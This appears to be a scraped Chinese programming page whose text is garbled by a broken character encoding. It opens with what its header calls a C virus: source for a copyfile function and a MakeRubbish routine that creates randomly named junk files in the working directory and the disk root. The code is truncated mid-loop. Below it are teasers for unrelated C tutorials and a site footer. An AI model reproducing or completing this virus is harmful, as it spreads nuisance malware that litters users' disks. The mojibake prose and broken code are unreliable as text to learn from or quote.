Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Ò»¸öC²¡¶¾ !

//Á¬½ÓÍ·Îļþ
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//¿½±´ÎļþÄ£¿é
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //¶¨ÒåÎļþÖ¸Õë
    in = fopen(infile,"r"); //´ò¿ªÎļþ
    out = fopen(outfile,"w"); //½¨Á¢Îļþ
    while (!feof(in)) //ÅжÏÎļþÊÇ·ñÒѽáÊø
    {
        fputc (fgetc(in),out); //´Óin¶ÁÒ»×Ö·ûµ½out
    }
    fclose (in); //¹Ø±ÕinÎļþ
    fclose (out);//¹Ø±ÕoutÎļþ
    return 0; //·µ»Ø
}
int MakeRubbish (void)
{
    int i; //ÉùÃ÷ÕûÐαäÁ¿i
    FILE *fp; //ÎļþÖ¸Õëfp
    char *path; //·¾¶Ö¸Õë
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //³õʼ»¯Ö¸ÕëÊý×é
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //Ñ­»·4´Î
    {
        char tempname[] = "XXXXXX" ; //Ëæ»úÃû×Ö
        NewName = mktemp(tempname);  //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");  //´´½¨Îı¾Îļþ
        fclose (fp); //¹Ø±ÕfpÎļþÁ÷
    }
    path = strcat(disk[getdisk()],addtion); //µÃµ½¸ù±àºÅ
    chdir(path); //¸Ä±ä¹¤×÷Ŀ¼
    for (i = 0; i<5; i++) //Ñ­»·´ÎÊý
    {
        char tempname[] = "XXXXXX"; //´®¸³ÈëÊý×é
        NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");    //´´½¨ÐÂÎļþ
        fclose (fp); //¹Ø±ÕÎļþ
 &n


Ïà¹ØÎĵµ£º

ÓÖÊÇ3Ö»C¡£¡£¡£= =

1.д³öÁ½¸öº¯Êý£¬·Ö±ðÇóÁ½¸öÕûÊýµÄ×î´ó¹«Ô¼ÊýºÍ×îС¹«±¶Êý£¬ÓÃÖ÷º¯Êýµ÷ÓÃÕâÁ½¸öº¯Êý£¬²¢Êä³ö½á¹û¡£Á½¸öÕûÊýÓɼüÅÌÊäÈë¡£
#include<stdio.h>
int gcd(int,int);
int lcm(int,int);
int gcd(int m,int n)
{
if(m%n==0)
return n;
else
return gcd(n,m%n);
}
int lcm(int m,int n)
{
return m*n/(gc ......

ʹÓô¿CÔÚ×Ô¼ºµÄ´°¿ÚÖÐǶÈëHTML¿Ø¼þ

±ê Ìâ: ¡¾·­Òë¡¿¹ýÄêÁË£¬Ï×ÉÏСÀñ - ʹÓô¿CÔÚ×Ô¼ºµÄ´°¿ÚÖÐǶÈëHTML¿Ø¼þ
×÷ Õß: xiep
ʱ ¼ä: 2010-01-22,13:42:29
Á´ ½Ó: http://bbs.pediy.com/showthread.php?t=105702
ǰ¶Îʱ¼äÒòΪÏîÄ¿ÐèÒª£¬ËùÒÔ·­ÒëÁËÕâÆª£¬Ï£Íû¶ÔijЩÈËÓÐÓá£ÓÉÓÚʱ¼ä²Ö´Ù£¬´íÎóÖ®´¦ÔÚËùÄÑÃ⣬Çë²»ÁßÖ¸³ö¡£
Áí£ºbrowser libΪÎÒ¸ÄдµÄÒ»¸ö¾ ......

³¹µ×¸ã¶¨CÖ¸Õë

 
תÌû×Ôhttp://teren.itpub.net/post/15914/189516дµÄ·Ç³£ºÃ£¬Í¬Ê±¶Ô×÷Õß´òÆÆÉ°¹øÎʵ½µ×µÄ¾«Éñ³¹µ×ÕÛ·þ
¡¶³¹µ×¸ã¶¨CÖ¸Õë¡·µÚһƪ ±äÁ¿µÄÄÚ´æÊµÖÊ
ÒªÀí½âCÖ¸Õ룬ÎÒÈÏΪһ¶¨ÒªÀí½âCÖГ±äÁ¿”µÄ´æ´¢ÊµÖÊ£¬ËùÒÔÎҾʹӓ±äÁ¿”Õâ¸ö¶«Î÷¿ªÊ¼½²Æð°É£¡
ÏÈÀ´Àí½âÀí½âÄÚ´æ¿Õ¼ä°É£¡Çë¿´ÏÂͼ£º
ÄÚ´æµØ ......

C»·¾³½«±äÁ¿¶¨Òåµ½RAM¾ø¶ÔµØÖ·Ö®ÉÏ


//À´Ô´²»Ïê
1. ¾ø¶Ôºê£º
ÔÚ³ÌÐòÖУ¬ÓÓ££include<absacc.h>”¼´¿ÉʹÓÃÆäÖж¨ÒåµÄºêÀ´·ÃÎʾø¶ÔµØÖ·£¬°üÀ¨CBYTE¡¢XBYTE¡¢PWORD¡¢DBYTE¡¢CWORD¡¢XWORD¡¢PBYTE¡¢DWORD
¾ßÌåʹÓÿɿ´Ò»¿´absacc.h±ãÖª£¬ÀýÈ磺
rval=CBYTE[0x0002];Ö¸Ïò³ÌÐò´æÖüÆ÷µÄ0002hµØÖ·
rval=XWORD[0x0002];Ö¸ÏòÍâRAMµÄ0002hµØÖ·
2 ......

console mode ÖÐʹÓà C/C++ ±àÒëÆ÷

jjhou.csdn.netÀïÃæÓÐ  
  --------------------------------------------------------------------------------  
   
  ÔÚ   console   mode   ÖÐʹÓà   C/C++   ±àÒëÆ÷  
  ºî½Ý   1999.04.08  
   
    ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ